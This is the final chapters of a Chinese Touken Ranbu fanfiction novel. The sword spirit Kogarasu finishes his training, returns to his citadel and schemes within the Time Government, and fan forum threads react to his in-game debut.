但是岩融告诉我,今剑正好好地站在他的面前,对他来说,对大家来说,今剑就是真正存在的!虽然我的记忆都来自于逸闻,但是记忆中的那些美好、获得的义经公的爱,都不是虚假的哦!正是因为大家都相信着这些传闻,我才能真正出现在这个世界上,出现在兄弟们面前,我很幸福哦! 我那时候就想着,大家都在等着我回去,如果等不到我,一定会很伤心。 虽然很难过义经公的历史不曾有我的存在,但是历史就是历史,已经成为了过去,现在的我,应该回到兄弟们的身边,身为大哥,应该好好守护弟弟! 所以,对于我们而言,你就是真实存在的,不要迷茫,无需害怕,我们认识的不是逸话中的小乌,而是和我们一起生活过的你 哎呀,这封信一看就知道是谁写的,老头子我就不写署名了。 把我之前说的话琢磨得怎么样了?哦,我忘了你那边已经过去千年,可能记不得了。 总之,人类传播你的逸闻,使一振不存在的刀剑显现于世,我觉得是一件非常了不得的事呢,这也是人类的爱哦? 无论是怎样的形式,你都是被在爱中诞生的哦? 所以不用将它当作枷锁看待,去接纳它,吸收它,化为你成长的养料吧。 有的时候,走样的爱才格外的美丽啊~ 我是髭切 嗯嗯,最后告诉你一个秘密吧。 其实我有两份不同的记忆,一份属于若草,一份属于你。所以,我从得知你的存在后,就知道你是被虚构出来的刀剑了,弟弟和小乌丸殿也已经知道了。所以,不必担心我们的态度会有变化。 不要忘记你来修行的初心。 若草那边,应该有能够化出灵体的能力了吧,你和他相处的如何? 唔,虽然你的第三封书信还没有寄来,但是我大概能猜到你在想什么,可以问问他要不要一起来本丸哦,大家会一起想办法的,时之政府的技术和经验也足够成熟,不需要你一个刃独自承担。 弟弟很担心你呢,我看到他针对你前两封书信中的疑惑写了好多分析,哈哈,很认真呢。 回来吧,我和弟弟都在等你。 大家都在等你回家 信纸上的字迹各不相同,密密麻麻写满了关怀。 泪水大颗大颗地砸落在信纸上,晕开了墨迹。他读得那么仔细,仿佛要将每一个字都刻进灵魂里。 修行的初心,不就是想要变强吗? 想要变强大,想要守护同伴,想要回馈对他好的刀剑付丧神们。 是啊,他为什么要如此执着于已经是过去式的历史呢?明明眼前还有很长的路可以走。 鬼使神差地自设了一个和自己同名的刀剑付丧神,置死地于后生,成为了真正的小乌,不断践行着自己的道路。 也许若草的说法是对的。 他的出现,是99%的偶然加上1%的奇迹。 心意通明的刹那,有温暖而又强大的力量自灵魂深处涌出,迅速流遍全身。身上的裂纹消失得一干二净,小乌身上的服饰也变得更加华丽,披散的长发束成马尾,整个人看上去干脆利落,光彩照人。 力量变得更加强大了。 小乌觉得,自己此刻拔刀,也许能直接将这栋楼给拦腰切断。 不过他是不可能随意拿建筑来试刀的啦! 他露出一个释然的笑容。 “谢谢,我知道该怎么做了。”他轻声说,将信封收好放进怀中 谢谢大家寄来的信,让我想通了一些事。 所以我要告诉大家一个好消息——我修行成功了! 我再次去见了若草,向他介绍了时之政府,他同意了! 他说在神社待久了很寂寞,所以希望和我一起走。 不过现在的时间点不对,如果要接回若草的话,需要麻烦你们那边行动了。 为了加强若草的力量,回去以后我也会帮忙搜集整理关于若草的资料,将这些资料公布出去,传播若草的故事,就能提高若草在人类里面的知名度了吧?这样也能让若草的化形轻松一些。 最后,我还有一件事要做。 若草请求我帮忙杀死那个‘他’,就是那个时间溯行军,若草说他们是同一个刃,所以一直能感受到时间溯行军的痛苦,所以希望和我一起战斗,给它一个解脱。 等这件事解决完,我马上就会回来! 最后的最后,我已经有了新的目标。回去之后,我有好多好多的事情想做,所以,未来的很长一段时间,还请大家以后多多指教啦! 战斗结束了。 意外地轻松。 时间溯行军看到我和若草站在一起,看起来反应很大,希望我离他远一点。 但是看到若草选择了我以后,又失去了战斗的意志。 所以其实轮不到我动手,最后是若草了亲自结了它。 我一开始还担心他会不会有点难过之类的情绪结果他跟我说这还是千年来他第一次杀敌 哈哈看起来他的心态蛮好的。 如果没有执着地让我叫他父亲就更好了 总之。 我要回来了! 小乌退掉了网吧的包厢。 前台已经眼熟了这个在网吧住了好长时间的美少年,见他走了又遗憾又欣慰。 前台:“哎呀,乌君是要回家了吗?要好好读书哦,不要让爸爸妈妈伤心。” 逃学离家出走的网瘾少年人设深入人心。 小乌:“” 小乌:“我会的,谢谢,再见。” 小乌来的时候什么也没带,走的时候也什么都没带走。 前台突然看到地上有一片小小的黑色羽毛,哎呀了一声。 “怎么有羽毛?是有小鸟闯进来了吗?” “得赶紧找到它把它放出去,不然在屋子里面到处乱飞伤到翅膀就不好了。” 小乌这一次是以游客的身份在白天进入的神社,他来到了若草的展柜前,金色的眼睛熠熠生辉。 他轻声和若草道别:“再见,若草,我们很快就会再见面的。” “等我来接你。” 若草刀身轻颤,回应小乌的告别。 下次见。《 》 【正文完结】 第67章 正文完结 小乌实装 “我是跨越了千年时光修行归来的小乌, 虽然修行中发生了很多事,知道了自己是由谣言虚构出来的,但是我的诞生也是再许多人类对我的喜爱中诞生的, 所以我不会再迷茫了!” 少年意气风发, 身上的服装多了一下精致的暗纹和护甲, 刀纹也不再空荡荡,而是多出了几簇草叶填补了空缺。 “我回来啦!” 各位来迎接小乌的刀剑付丧神们笑意盈盈,从今天开始他们又有了新的家刃。 “欢迎回家!!!” 极化修行归来并不代表着结束,而是一个新的开始。 时之政府派人来贺喜后, 询问小乌是否有降下分灵的意愿,小乌答应了, 但是是有条件的。 为了能让若草早点来到本丸, 小乌需要多次前往平安时代收集关于若草的历史时间整理成册交予时之政府策划宣传方案,让更多的人类能够知道若草。 正好初次分灵,也要一步一步来,只能分出几个分灵先进行测试,小乌要求让本灵自己和这几个分灵进入时之政府工作。 反正时之政府早就有了许多为政府效力的刀剑男士,多他小乌也没什么区别。 小乌决定先从时之政府开始下t?手, 跟随山姥切长义他们学习政务。 “我要先打入时之政府内部, 掌握领导层的动向!” 小乌一脚踩再桌上,气宇轩昂地发表着自己的计划。 “哦哦!了不起!” “很有干劲呢!” “加油!你一定可以的!” 大家仰头鼓起了掌。 当然也有不配合的刃。 歌仙兼定:“给我把脚放下!!!” “对不起!” 小乌赶紧放下脚擦桌子。 “你要来政府工作倒是没问题啦”山姥切长义支着腿, 有新人帮忙分担工作他没什么很支持, 干得不错的话, 他们也可以多培养培养, 小乌这副自信的模样他还是很满意的,“加入时之政府,然后呢?政府里面分了很多科室和部门, 新人还是先选定一个比较好。等你能够大量分灵的时候你想通过监察官考察的形式分拨分灵吗?” “我想去执法部来着” 面对即将晋升成他的老前辈的山姥切长义,小乌老实交代。 由于他的来历和正常的刀剑付丧神不太一样,也没有什么白月光一样的前主,所以他并没有把重心完全放在维护历史和未来分灵们会侍奉的各位主君身上。 他的目的和他们不一样。 他希望能做同伴们坚实的后盾,让他们可以毫无忧虑地在战场上完成自己的使命。 所以他不想要再有虐待刀剑付丧神们的存在出现。 他想为他们清除那些渣滓! 所以他是一定要加入执法部的,他想要将执法部掌控在自己手中,最好是能够脱离人类的控制,独立出来,成为独属于他们刀剑付丧神的势力。 不过他还太过稚嫩,得一步一步稳扎稳打地来,也不能打草惊蛇,太过大张旗鼓地行动,引起心怀不轨的人类的警惕。 “通过当监察官进行活动考察来分拨分灵确实有这个打算,但并不会太久。” “让分灵秘密进入战绩优秀、签订了保密协议的审神者的本丸进行学习,再反哺给本灵,但积累到了一定程度后” “我就不需要再通过这个方式分拨本灵了。” 小乌伸出手,在大家的视线中将张开的手掌突然紧紧地攥起。 “为什么要签订保密协议?” 有刃发问。 需要保密什么? 哼哼哼~ “分灵测试稳定后,我要以‘一花’的稀有度进入锻刀池,让自己分灵的获取能力降到最低,尽可能地让所以的本丸都能拥有我!” 所以要保密的是稀有度! 他们将是作为本灵的小乌的眼线,所有本丸的信息都逃不过他的眼睛。 最低的稀有度能让所有人轻松获取他,也能让所有人更容易轻视他。 用特命调查为新刀实装造势,让他们以为会是稀有刀剑,拉满期待后公布却是最普通的一花刀。 不是有喜欢看稀有度的审神者吗?明明是太刀,却是数值普通,又不珍贵的一花,少年体型也足够蒙蔽喜欢以外表来判定的人类。 如果审神者心思不纯,他会更有可能被选定为下手的目标。 他来负责挖掘人类的黑暗面。 由他来挡在同伴面前。 努力赶在事情变得不可挽回之前,将审神者的失格上报给本灵。 他是警铃,也是一道防线。 “所以我需要对分灵进行一些修改,不能让那些人类知道。”小乌微笑着,正襟危坐,眼神锐利,“请帮助我吧!” 他需要在自己的分灵中埋下后门,让他们在触发一定条件后能够脱离契约的控制。 众刃听完小乌的计划后安静了一瞬。 他们没想到小乌的想法居然是这样的 但是—— 非常有趣! 小乌丸勾唇笑道:“当然,大家会帮助你。” 部分人类群体的行为早就惹怒了一众本灵,他们不再坐以待毙,准备把该有的权利握在自己的手中。 “放开手去做吧。” 【特命调查长承三年逸话】 “滋滋” 来电。 高度加密通信监听。 正在解译中 解译完毕。 画面不清晰。 开始输出。 画面中出现了一个裹着白袍子的人,不稳定的信号让声音的本色被扭曲,但勉强能听出这次新的监察官声音听起来年纪不大,是有些低哑的少年声。??:“喂喂,听得到吗?”??:“我是这次特命调查的监察官,这次的活动由我进行监督。详情状况已发送,请各位做好战斗准备,我会在那等你们。以上。”??:“此次任务严峻,对各位的能力有很高的要求,太弱的话,还是放弃的好,并没有强制要求参与。”??:“那么,到时候见。” 高亮! 【特命调查长承三年逸话】 为了了解时间溯行军入侵的原因,时之政府向审神者下达了特别的命令,对长承三年历史进行调查吧! 1l(狐之助):亲爱的审神者们,【特命调查长承三年逸话】即将开启!本次将由以为新的监察官大人全程监督指导,请各位审神者大人做好准备哦~! 【活动预告连接】 2l:新活动!好耶!沙发是我的! 3l:新的监察官!!!新刀!新刀要来了!是谁! 4l:声音对上了,一年了!已经一年了!时政你知道我是怎么过的吗?自从小乌被你们接回去就再也没听到声音了,现在终于舍得放出来了是吧?![激动到旋转.jpg] 5l:我也觉得是!虽然你裹得严严实实,但是是逃不过婶婶的火眼金睛的小乌! 6l:但是感觉语气差别有点大,听起来又冷又拽,还说什么“太弱的话,还是放弃的好”这样的话,感觉和之前直播看的性格差别有点大啊,会不会是其他的新刀? 7l:确实,听到这话我感觉他在挑衅我,拳头不知道怎么就有点硬了。 8l:长承三年是什么时候? 9l:让我翻翻资料好像在保元之乱前,假设一下新的监察官是小乌,那么看一下这个时代的源氏嗯,这个时期的源氏家主是源为义,嘶,好微妙的时间点,这石捶小乌了吧。 10l:九楼大佬细嗦。 11l:因为这个时间段正是源氏和平氏斗争非常激烈的时间,而且源氏处于劣势,髭切就是在这个时间段被改名为友切的,所以你们懂的吧,小乌也是在这一段时间折断的。特命调查的监察官都是和调查任务的时代有渊源的,所以 12l:而且你们没发现吗?活动预告图角落有一行小字推荐我们带髭切和膝丸。 12l:所以不仅可以确认这次的监察官是小乌,任务还很有可能涉及友切相关的事件?不要啊,小乌不会要眼睁睁地看着自己被折断吧! 13l:如果是这样那很恐怖了不能想象小乌会多痛苦,而且为什么还要带髭切,是不是有点地狱了。 14l:时政你把我们小乌养得好差quq,把孩子还我! 15l:呜呜,我好喜欢他,监察官这次特意强调了难度很高,我还没入职多久,不知道练度够不够,资源也不够修刀了。 16l:修刀倒是没关系,这次的特命调查特别不一样,是虚拟伤害。也就是跟往年不同,并不是以真实的时代背景进行实战,而是时政特意开辟的虚拟战场。但是练度不高就不保证能不能打了。 17l:好奇怪啊,为什么要特意开辟一个战场开活动?有什么深意吗? 18l:不懂,但是小乌的可考历史资料特别少,故事可以增强刀剑付丧神的力量,可能官方的意思是还原小乌当时的历史给我们做一个科普,让更多的人知道小乌的故事,增强他的力量。 19l:大佬说得好有道理[星星眼.jpg] 20l:所以为什么小乌性格变得那么多?小乌如果是时政虐待你了你就呼吸一下(喂。 21l:有点意思,这活动我要参加! 22l:赶紧开活动吧!我已经饥渴难耐了! 11305l:家人们,特命调查做的怎么样了? 11306l: 11307l: 11308l: 11309l:满朝文武为何支支吾吾?! 11310l:啊,怎么说呢,一方面是有点太惊讶真正的历史真相了,没想t?到真正友切事件的主人公并不是小乌而是新出现的刀剑若草那个时间溯行军的身份也特别让人惊讶,居然是若草和小乌互相争夺故事和身体形成的(心情复杂),把那个时间溯行军杀死的时候,它还哭了,真的第一次对时间溯行军有一种不忍心的感觉不过还有另一方面就是 11311l:就是另一方面这个监察官嘴咋那么贱啊啊啊啊!比菊花老头嘴还贱啊啊啊啊啊! 11312l:哈哈我要疯了,这个破监察官从头嘲讽到尾就没停过啊!真的是小乌吗?不是说小乌是小天使吗?这个嘴一张就感觉自己要浮木不保的刀是谁啊?啊?! 11313l:小乌,你变异了吗?[哭哭.jpg] 11314l:我不信这是小乌,我不信我不信我不信 11315l:真有点讨厌了我说真的(好吧只是暂时的,活动结束就不讨厌了) 讨厌他? 正中下怀! 这都在小乌的预料之内。 他是故意装成和自己截然不同的性格的,为的就是引起审神者的恶感。 小乌在活动中拿出了打游戏辱骂队友的实力,小嘴一张毒液四射,嘲讽了个爽。 他的目的就是挖掘人类的黑暗面! 等他的分灵被锻出,对他初始印象不好的审神者的反应就非常值得小乌品味和分析,能从第一反应中看出许多细节。 如果是好审,小乌自然会努力挽回自己的形象;如果是恶审 小乌微微一笑。 早点暴露马脚,就好早点让他清除掉 高亮! 新刀剑男士实装确定! 一花太刀 小乌明日5:00起加入锻刀池,无限定时间,永久常驻 1l:??? 2l:??? 3l:??? 56l:夺少?几花的太刀??? 57l:一花??? 58l:时政你最近中了什么邪,疯了吧? 59l:一花太刀是个什么强度,不会是花瓶吧 60l:我刚想睡个午觉就给我整清醒了,为什么小乌的待遇这么差啊?还是说有特化反转? 61l:这稀有度和刀种不匹配吧,时政你在干什么! 62l:其实也挺好的,这样就不怕锻不到我的老婆了!全图鉴福音! 63l:有道理,老婆我来了嘿嘿嘿! 64l:常驻好啊常驻妙,我家博多这次不用哭了 其实极化后就会变成正常的四花太了。 特命调查过后成功得到小乌,却也同样签订了保密协议的审神者关闭了论坛。 唉,不能说真是有点难受。 作为今日近侍,正坐在审神者旁边的小乌笑着为她端上了一杯茶。 审神者: 知道了知道了,不会说的啦! 樱花花瓣飞扬。 新的刀显现了! “我叫小乌,是以若草大人为原型而诞生的刀,是诞生于一则传闻的、不存在的刀。” 金色猫眼的少年笑意满盈。 “不介意的话,主人可以多多了解一下若草大人的故事哦!” 新的刀剑男士在本丸降临了。《 》